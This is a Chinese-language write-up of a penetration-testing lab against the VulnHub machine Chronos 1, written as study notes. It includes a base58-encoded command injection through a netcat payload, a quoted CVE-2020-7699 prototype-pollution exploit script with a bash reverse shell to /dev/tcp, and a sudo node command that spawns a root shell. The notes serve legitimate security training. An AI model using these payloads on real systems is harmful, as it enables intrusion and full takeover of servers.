打靶笔记_CHRONOS: 1_writeup
这是在安全牛课堂上的课程《红队/渗透 — 和我一起来打靶》的笔记
靶机简介
靶机名:chronos
靶机链接:https://www.vulnhub.com/entry/chronos-1,735/
难度:中等
目标:两个flag
攻击流程
ps:具体攻击过程请看渗透过程及结果
拿shell
- 使用nmap进行扫描,其中22/ssh、80/http、8000/http是开的
- 根据js代码和burpsuite抓包分析,发现80端口和8000端口的页面都会发送一串
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
请求 - 更改
/etc/hosts
目录,绑定靶机ip和域名后,80页面和8000页面都会返回时间信息,burpsuite分析,是来自于发送的那段神秘请求的回报 - 通过cyberchef在线工具分析,发现那段
format
值是base58编码后的'+Today is %A, %B %d, %Y %H:%M:%S.'
,且当format值为空,返回内容的格式和date
命令结果的格式一样 - 尽管发送
|id
的base58编码作为format
的结果是没有用的报错,但如果渗透机开启nc监听端口,并且发送|nc 渗透机ip 监听端口
的base58编码发现命令确实运行了 - nc串联拿shell
提权
- 查看靶机目录,发现本机的
/opt/chronos-v2
目录下有一个只有本地才能访问的服务,存在express-fileupload
原型链污染漏洞,代号CVE-2020-7699
- 渗透机开启apache服务,并在本地开启nc监听端口,在靶机shell上下载如下代码:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.135/4444 0>&1"' # ip和nc监听端口请自行修改
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
抄别人的,暂时看不懂,来源在参考资料最后一条
3. 进入imera
用户后,发现可以sudo不用密码执行命令node,使用命令sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
,获取root权限
工具和技术
工具
nmap 扫描
dirb 网站目录遍历
burpsuite 抓包
cyberchef https://gchq.github.io/CyberChef 密文分析
技术
修改本地/etc/hosts进行域名和ip的绑定
nc串联
CVE-2020-7699漏洞利用
node提权
渗透过程及结果
过程
-
nmap扫描
-
网站信息收集
-
修改本地hosts文件
-
cyberchef分析format参数值
-
命令执行漏洞测试
-
nc串联获取shell
-
发现chronos-v2目录下的漏洞特征
-
上传漏洞利用脚本
-
运行脚本获得shell
- 得到
imera
用户权限之后继续提权,得到root
结果
-
flag1
位于/home/imera
-
flag2
总结反思
cyberchef是一个非常强大的在线工具,震撼我一百年
CVE-2020-7699的原理暂时还弄不明白,原型链漏洞什么的我也不懂,或许以后会专门开个专栏写一些我对碰到的漏洞进行的分析?毕竟感觉这个东西挺值得学习的
参考资料
https://www.freebuf.com/vuls/246029.html
https://gtfobins.github.io/gtfobins/node/#shell
https://laotun.top/2021/08/24/%E9%9D%B6%E6%9C%BAchronos%E6%B8%97%E9%80%8F/